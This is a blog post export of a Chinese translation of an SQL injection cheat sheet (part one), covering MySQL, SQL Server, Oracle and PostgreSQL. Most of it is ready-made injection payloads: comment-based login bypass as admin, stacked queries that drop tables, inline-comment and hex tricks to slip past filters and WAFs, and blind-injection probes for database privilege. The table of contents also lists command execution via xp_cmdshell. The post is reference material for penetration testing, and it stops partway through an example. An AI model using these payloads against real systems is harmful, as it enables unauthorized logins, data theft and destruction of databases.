{"id":450,"date":"2016-03-23T13:00:24","date_gmt":"2016-03-23T05:00:24","guid":{"rendered":"http:\/\/www.cnmiss.cn\/?p=450"},"modified":"2019-03-27T09:30:54","modified_gmt":"2019-03-27T01:30:54","slug":"sql%e6%b3%a8%e5%85%a5%e9%80%9f%e6%9f%a5%e8%a1%a8%ef%bc%88%e4%b8%8a%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.cnmiss.cn\/?p=450","title":{"rendered":"SQL\u6ce8\u5165\u901f\u67e5\u8868\uff08\u4e0a\uff09"},"content":{"rendered":"<div class=\"category clearfix\">\n<div class=\"category_l\"><small>\u672c\u6587\u7531Yinzo\u7ffb\u8bd1\uff0c\u8f6c\u8f7d\u8bf7\u4fdd\u7559\u7f72\u540d\u3002\u539f\u6587\u5730\u5740\uff1a<a href=\"http:\/\/ferruh.mavituna.com\/sql-injection-cheatsheet-oku\/#Enablecmdshell\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/ferruh.mavituna.com\/sql-injection-cheatsheet-oku\/#Enablecmdshell<\/a><\/small><\/div>\n<\/div>\n<div id=\"article_content\" class=\"article_content\">\n<p><small>\u6587\u6863\u7248\u672c\uff1a1.4<\/small><\/p>\n<h1><a name=\"t0\"><\/a>0x00 \u5173\u4e8eSQL\u6ce8\u5165\u901f\u67e5\u8868<\/h1>\n<hr>\n<p>\u73b0\u5728\u4ec5\u652f\u6301MySQL\u3001Microsoft SQL Server\uff0c\u4ee5\u53ca\u4e00\u90e8\u5206ORACLE\u548cPostgreSQL\u3002\u5927\u90e8\u5206\u6837\u4f8b\u90fd\u4e0d\u80fd\u4fdd\u8bc1\u6bcf\u4e00\u4e2a\u573a\u666f\u90fd\u9002\u7528\u3002\u73b0\u5b9e\u573a\u666f\u7531\u4e8e\u5404\u79cd\u63d2\u5165\u8bed\u3001\u4e0d\u540c\u7684\u4ee3\u7801\u73af\u5883\u4ee5\u53ca\u5404\u79cd\u4e0d\u5e38\u89c1\u751a\u81f3\u5947\u7279\u7684SQL\u8bed\u53e5\uff0c\u800c\u7ecf\u5e38\u53d1\u751f\u53d8\u5316\u3002<\/p>\n<p>\u6837\u4f8b\u4ec5\u7528\u4e8e\u8bfb\u8005\u7406\u89e3\u5bf9\u4e8e\u201c\u53ef\u80fd\u51fa\u73b0\u7684\u653b\u51fb(a potential attack)\u201d\u7684\u57fa\u7840\u6982\u5ff5\uff0c\u5e76\u4e14\u51e0\u4e4e\u6bcf\u4e00\u4e2a\u90e8\u5206\u90fd\u6709\u4e00\u6bb5\u7b80\u6d01\u7684\u6982\u8981<\/p>\n<ul>\n<li>M: MySQL<\/li>\n<li>S: SQL Server<\/li>\n<li>P: PostgreSQL<\/li>\n<li>O: Oracle<\/li>\n<li>+: (\u5927\u6982)\u5176\u4ed6\u6240\u6709\u6570\u636e\u5e93<\/li>\n<\/ul>\n<p>\u4f8b\u5b50\uff1a<\/p>\n<ul>\n<li>(MS) \u4ee3\u8868 : MySQL \u548c SQL Server \u7b49<\/li>\n<li>(M*S) \u4ee3\u8868 : \u4ec5\u5bf9\u67d0\u4e9b\u7248\u672c\u6216\u8005\u67d0\u4e9b\u9644\u5728\u540e\u6587\u4e2d\u7684\u7279\u6b8a\u60c5\u51b5\u7684 MySQL\uff0c\u4ee5\u53caSQL Server<\/li>\n<\/ul>\n<h1><a name=\"t1\"><\/a>0x01 \u76ee\u5f55<\/h1>\n<hr>\n<ol>\n<li>\u5173\u4e8eSQL\u6ce8\u5165\u901f\u67e5\u8868<\/li>\n<li>\u8bed\u6cd5\u53c2\u8003\uff0c\u653b\u51fb\u6837\u4f8b\u4ee5\u53ca\u6ce8\u5165\u5c0f\u6280\u5de7\n<ol>\n<li>\u884c\u95f4\u6ce8\u91ca\n<ol>\n<li>\u4f7f\u7528\u4e86\u884c\u95f4\u6ce8\u91ca\u7684SQL\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/li>\n<\/ol>\n<\/li>\n<li>\u884c\u5185\u6ce8\u91ca\n<ol>\n<li>\u4f7f\u7528\u4e86\u884c\u5185\u6ce8\u91ca\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/li>\n<li>MySQL\u7248\u672c\u63a2\u6d4b\u653b\u51fb\u6837\u4f8b<\/li>\n<\/ol>\n<\/li>\n<li>\u5806\u53e0\u67e5\u8be2(Stacking Queries)\n<ol>\n<li>\u652f\u6301\u5806\u53e0\u67e5\u8be2\u7684\u8bed\u8a00\/\u6570\u636e\u5e93<\/li>\n<li>\u5173\u4e8eMySQL\u548cPHP<\/li>\n<li>\u5806\u53e0\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/li>\n<\/ol>\n<\/li>\n<li>If\u8bed\u53e5\n<ol>\n<li>MySQL\u7684If\u8bed\u53e5<\/li>\n<li>SQL Server\u7684If\u8bed\u53e5<\/li>\n<li>\u4f7f\u7528\u4e86If\u8bed\u53e5\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/li>\n<\/ol>\n<\/li>\n<li>\u6574\u6570(Integers)\u7684\u4f7f\u7528<\/li>\n<li>\u5b57\u7b26\u4e32\u64cd\u4f5c\n<ol>\n<li>\u5b57\u7b26\u4e32\u7684\u4e32\u8054<\/li>\n<\/ol>\n<\/li>\n<li>\u6ca1\u6709\u5f15\u53f7\u7684\u5b57\u7b26\u4e32\n<ol>\n<li>\u4f7f\u7528\u4e8616\u8fdb\u5236\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/li>\n<\/ol>\n<\/li>\n<li>\u5b57\u7b26\u4e32\u5f02\u5316(Modification)\u4e0e\u8054\u7cfb<\/li>\n<li>Union\u6ce8\u5165\n<ol>\n<li>UNION-\u8bed\u8a00\u95ee\u9898\u5904\u7406<\/li>\n<\/ol>\n<\/li>\n<li>\u7ed5\u8fc7\u767b\u9646\u754c\u9762(SMO+)<\/li>\n<li>\u7ed5\u8fc7\u68c0\u67e5MD5\u54c8\u5e0c\u7684\u767b\u9646\u754c\u9762\n<ol>\n<li>\u7ed5\u8fc7MD5\u54c8\u5e0c\u68c0\u67e5\u7684\u4f8b\u5b50(MSP)<\/li>\n<\/ol>\n<\/li>\n<li>\u57fa\u4e8e\u9519\u8bef(Error Based)-\u63a2\u6d4b\u5b57\u6bb5\u540d\n<ol>\n<li>\u4f7f\u7528\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">HAVING<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6765\u63a2\u6d4b\u5b57\u6bb5\u540d(S)<\/li>\n<li>\u5728\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u67e5\u8be2\u4e2d\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ORDER BY<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u63a2\u6d4b\u5b57\u6bb5\u6570(MSO+)<\/li>\n<\/ol>\n<\/li>\n<li>\u6570\u636e\u7c7b\u578b\u3001UNION\u3001\u4e4b\u7c7b\u7684\n<ol>\n<li>\u83b7\u53d6\u5b57\u6bb5\u7c7b\u578b<\/li>\n<\/ol>\n<\/li>\n<li>\u7b80\u5355\u7684\u6ce8\u5165(MSO+)<\/li>\n<li>\u6709\u7528\u7684\u51fd\u6570\u3001\u4fe1\u606f\u6536\u96c6\u3001\u5185\u7f6e\u7a0b\u5e8f\u3001\u5927\u91cf\u6ce8\u5165\u7b14\u8bb0\n<ol>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">@@version<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(MS)<\/li>\n<li>\u6587\u4ef6\u63d2\u5165(Bulk Insert)(S)<\/li>\n<li>BCP(S)<\/li>\n<li>SQL Server\u7684VBS\/WSH(S)<\/li>\n<li>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0cxp_cmdshell(S)<\/li>\n<li>SQL Server\u4e2d\u7684\u4e00\u4e9b\u7279\u6b8a\u7684\u8868(S)<\/li>\n<li>SQL Server\u7684\u5176\u5b83\u5185\u7f6e\u7a0b\u5e8f(S)<\/li>\n<li>\u5927\u91cfMSSQL\u7b14\u8bb0<\/li>\n<li>\u4f7f\u7528LIMIT(M)\u6216ORDER(MSO)\u7684\u6ce8\u5165<\/li>\n<li>\u5173\u6389SQL Server(S)<\/li>\n<\/ol>\n<\/li>\n<li>\u5728SQL Server 2005\u4e2d\u542f\u7528xp_cmdshell<\/li>\n<li>\u63a2\u6d4bSQL Server\u6570\u636e\u5e93\u7684\u7ed3\u6784(S)\n<ol>\n<li>\u83b7\u53d6\u7528\u6237\u5b9a\u4e49\u8868<\/li>\n<li>\u83b7\u53d6\u5b57\u6bb5\u540d<\/li>\n<\/ol>\n<\/li>\n<li>\u79fb\u52a8\u8bb0\u5f55(Moving records)(S)<\/li>\n<li>\u5feb\u901f\u7684\u8131\u6389\u57fa\u4e8e\u9519\u8bef(Error Based)\u7684SQL Server\u6ce8\u5165(S)<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<h1><a name=\"t2\"><\/a>0x02 \u8bed\u6cd5\u53c2\u8003\uff0c\u653b\u51fb\u6837\u4f8b\u4ee5\u53ca\u6ce8\u5165\u5c0f\u6280\u5de7<\/h1>\n<hr>\n<h3><a name=\"t3\"><\/a>\u884c\u95f4\u6ce8\u91ca<\/h3>\n<p>\u6ce8\u91ca\u6389\u67e5\u8be2\u8bed\u53e5\u7684\u5176\u4f59\u90e8\u5206<\/p>\n<p>\u884c\u95f4\u6ce8\u91ca\u901a\u5e38\u7528\u4e8e\u6ce8\u91ca\u6389\u67e5\u8be2\u8bed\u53e5\u7684\u5176\u4f59\u90e8\u5206\uff0c\u8fd9\u6837\u4f60\u5c31\u4e0d\u9700\u8981\u53bb\u4fee\u590d\u6574\u53e5\u8bed\u6cd5\u4e86\u3002<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(SM)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">DROP sampletable;--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">#<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">DROP sampletable;#<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<h4><a name=\"t4\"><\/a>\u4f7f\u7528\u4e86\u884c\u95f4\u6ce8\u91ca\u7684SQL\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/h4>\n<blockquote><p>\u7528\u6237\u540d:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">admin'--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<ul>\n<li>\u6784\u6210\u8bed\u53e5:\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;\u8fd9\u4f1a\u4f7f\u4f60\u4ee5admin\u8eab\u4efd\u767b\u9646\uff0c\u56e0\u4e3a\u5176\u4f59\u90e8\u5206\u7684SQL\u8bed\u53e5\u88ab\u6ce8\u91ca\u6389\u4e86\u3002<\/li>\n<\/ul>\n<h3><a name=\"t5\"><\/a>\u884c\u5185\u6ce8\u91ca<\/h3>\n<p>\u901a\u8fc7\u4e0d\u5173\u95ed\u6ce8\u91ca\u6ce8\u91ca\u6389\u67e5\u8be2\u8bed\u53e5\u7684\u5176\u4f59\u90e8\u5206\uff0c\u6216\u8005\u7528\u4e8e\u7ed5\u8fc7\u8fc7\u6ee4\uff0c\u79fb\u9664\u7a7a\u683c\uff0c\u6df7\u6dc6\uff0c\u6216\u63a2\u6d4b\u6570\u636e\u5e93\u7248\u672c\u3002<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">\/*\u6ce8\u91ca\u5185\u5bb9*\/<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(SM)<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">DROP\/*comment*\/sampletable<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">DR\/**\/OP\/*\u7ed5\u8fc7\u8fc7\u6ee4*\/sampletable<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT\/*\u66ff\u6362\u7a7a\u683c*\/password\/**\/FROM\/**\/Members<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">\/*! MYSQL\u4e13\u5c5e *\/<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;(M)\u8fd9\u662f\u4e2aMySQL\u4e13\u5c5e\u8bed\u6cd5\u3002\u975e\u5e38\u9002\u5408\u7528\u4e8e\u63a2\u6d4bMySQL\u7248\u672c\u3002\u5982\u679c\u4f60\u5728\u6ce8\u91ca\u4e2d\u5199\u5165\u4ee3\u7801\uff0c\u53ea\u6709MySQL\u624d\u4f1a\u6267\u884c\u3002\u540c\u6837\u7684\u4f60\u4e5f\u53ef\u4ee5\u7528\u8fd9\u62db\uff0c\u4f7f\u5f97\u53ea\u6709\u9ad8\u4e8e\u67d0\u7248\u672c\u7684\u670d\u52a1\u5668\u624d\u6267\u884c\u67d0\u4e9b\u4ee3\u7801\u3002<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT \/*!32302 1\/0, *\/ 1 FROM tablename<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<h4><a name=\"t6\"><\/a>\u4f7f\u7528\u4e86\u884c\u5185\u6ce8\u91ca\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/h4>\n<blockquote><p>ID:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">10; DROP TABLE members \/*<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<p>\u7b80\u5355\u5730\u6446\u8131\u4e86\u5904\u7406\u540e\u7eed\u8bed\u53e5\u7684\u9ebb\u70e6\uff0c\u540c\u6837\u4f60\u53ef\u4ee5\u4f7f\u7528<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">10; DROP TABLE members --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h4><a name=\"t7\"><\/a>MySQL\u7248\u672c\u63a2\u6d4b\u653b\u51fb\u6837\u4f8b<\/h4>\n<blockquote>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT \/*!32302 1\/0, *\/ 1 FROM tablename<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<p>\u5982\u679cMySQL\u7684\u7248\u672c\u9ad8\u4e8e3.23.02\uff0c\u4f1a\u629b\u51fa\u4e00\u4e2a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">division by 0 error<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<blockquote><p>ID:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">\/*!32302 10*\/<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>ID:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">10<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<p>\u5982\u679cMySQL\u7248\u672c\u9ad8\u4e8e3.23.02\uff0c\u4ee5\u4e0a\u4e24\u6b21\u67e5\u8be2\u4f60\u5c06\u5f97\u5230\u76f8\u540c\u7684\u7ed3\u679c<\/p>\n<h3><a name=\"t8\"><\/a>\u5806\u53e0\u67e5\u8be2(Stacking Queries)<\/h3>\n<p>\u4e00\u53e5\u4ee3\u7801\u4e4b\u4e2d\u6267\u884c\u591a\u4e2a\u67e5\u8be2\u8bed\u53e5\uff0c\u8fd9\u5728\u6bcf\u4e00\u4e2a\u6ce8\u5165\u70b9\u90fd\u975e\u5e38\u6709\u7528\uff0c\u5c24\u5176\u662f\u4f7f\u7528SQL Server\u540e\u7aef\u7684\u5e94\u7528<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM members; DROP members--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;\u7ed3\u675f\u4e00\u4e2a\u67e5\u8be2\u5e76\u5f00\u59cb\u4e00\u4e2a\u65b0\u7684\u67e5\u8be2<\/li>\n<\/ul>\n<h4><a name=\"t9\"><\/a>\u652f\u6301\u5806\u53e0\u67e5\u8be2\u7684\u8bed\u8a00\/\u6570\u636e\u5e93<\/h4>\n<p>\u7eff\u8272\uff1a\u652f\u6301\uff0c\u6697\u7070\u8272\uff1a\u4e0d\u652f\u6301\uff0c\u6d45\u7070\u8272\uff1a\u672a\u77e5<\/p>\n<h4><a name=\"t10\"><\/a>\u5173\u4e8eMySQL\u548cPHP<\/h4>\n<p>\u9610\u660e\u4e00\u4e9b\u95ee\u9898\u3002<\/p>\n<p>PHP-MySQL\u4e0d\u652f\u6301\u5806\u53e0\u67e5\u8be2\uff0cJava\u4e0d\u652f\u6301\u5806\u53e0\u67e5\u8be2\uff08ORACLE\u7684\u6211\u5f88\u6e05\u695a\uff0c\u5176\u4ed6\u7684\u5c31\u4e0d\u786e\u5b9a\u4e86\uff09\u3002\u4e00\u822c\u6765\u8bf4MySQL\u652f\u6301\u5806\u53e0\u67e5\u8be2\uff0c\u4f46\u7531\u4e8e\u5927\u591a\u6570PHP-Mysql\u5e94\u7528\u6846\u67b6\u7684\u6570\u636e\u5e93\u5c42\u90fd\u4e0d\u80fd\u6267\u884c\u7b2c\u4e8c\u6761\u67e5\u8be2\uff0c\u6216\u8bb8MySQL\u7684\u5ba2\u6237\u7aef\u652f\u6301\u8fd9\u4e2a\uff0c\u6211\u4e0d\u786e\u5b9a\uff0c\u6709\u4eba\u80fd\u786e\u8ba4\u4e00\u4e0b\u5417\uff1f<\/p>\n<p>\uff08\u8bd1\u8005\u6ce8\uff1aMySQL 5.6.20\u7248\u672c\u4e0b\u5ba2\u6237\u7aef\u652f\u6301\u5806\u53e0\u67e5\u8be2\uff09<\/p>\n<h4><a name=\"t11\"><\/a>\u5806\u53e0\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/h4>\n<blockquote><p>ID:<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">10;DROP members --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<p>\u6784\u6210\u8bed\u53e5\uff1a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM products WHERE id = 10; DROP members--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u8fd9\u5728\u6267\u884c\u5b8c\u6b63\u5e38\u67e5\u8be2\u4e4b\u540e\u5c06\u4f1a\u6267\u884cDROP\u67e5\u8be2\u3002<\/p>\n<h3><a name=\"t12\"><\/a>If\u8bed\u53e5<\/h3>\n<p>\u6839\u636eIf\u8bed\u53e5\u5f97\u5230\u54cd\u5e94\u3002\u8fd9\u662f\u76f2\u6ce8(Blind SQL Injection)\u7684\u5173\u952e\u4e4b\u4e00\uff0c\u540c\u6837\u4e5f\u80fd\u7b80\u5355\u800c\u51c6\u786e\u5730\u8fdb\u884c\u4e00\u4e9b\u6d4b\u8bd5\u3002<\/p>\n<h4><a name=\"t13\"><\/a>MySQL\u7684If\u8bed\u53e5<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">IF(condition,true-part,false-part)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M)<\/p>\n<blockquote>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT IF (1=1,'true','false')<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<\/li>\n<\/ul>\n<h4><a name=\"t14\"><\/a>SQL Server\u7684If\u8bed\u53e5<\/h4>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">IF condition true-part ELSE false-part<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)<\/p>\n<blockquote>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">IF (1=1) SELECT 'true' ELSE SELECT 'false'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<\/li>\n<\/ul>\n<h4><a name=\"t15\"><\/a>\u4f7f\u7528\u4e86If\u8bed\u53e5\u7684\u6ce8\u5165\u653b\u51fb\u6837\u4f8b<\/h4>\n<blockquote>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1\/0<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)<\/p><\/blockquote>\n<p>\u5982\u679c\u5f53\u524d\u7528\u6237\u4e0d\u662f&#8221;sa&#8221;\u6216\u8005&#8221;dbo&#8221;,\u5c31\u4f1a\u629b\u51fa\u4e00\u4e2a<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">divide by zero error<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u3002<\/p>\n<h3><a name=\"t16\"><\/a>\u6574\u6570(Integers)\u7684\u4f7f\u7528<\/h3>\n<p>\u5bf9\u4e8e\u7ed5\u8fc7\u5341\u5206\u6709\u7528\uff0c\u6bd4\u5982magic_quotes() \u548c\u5176\u4ed6\u7c7b\u4f3c\u8fc7\u6ee4\u5668\uff0c\u751a\u81f3\u662f\u5404\u79cdWAF\u3002<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">0xHEXNUMBER<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(SM)(HEXNUMBER:16\u8fdb\u5236\u6570\uff09 \u4f60\u80fd\u8fd9\u6837\u4f7f\u752816\u8fdb\u5236\u6570\uff1a<\/p>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT CHAR(0x66)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(S)<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT 0x5045<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(M) (\u8fd9\u4e0d\u662f\u4e00\u4e2a\u6574\u6570\uff0c\u800c\u4f1a\u662f\u4e00\u4e2a16\u8fdb\u5236\u5b57\u7b26\u4e32\uff09<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT 0x50 + 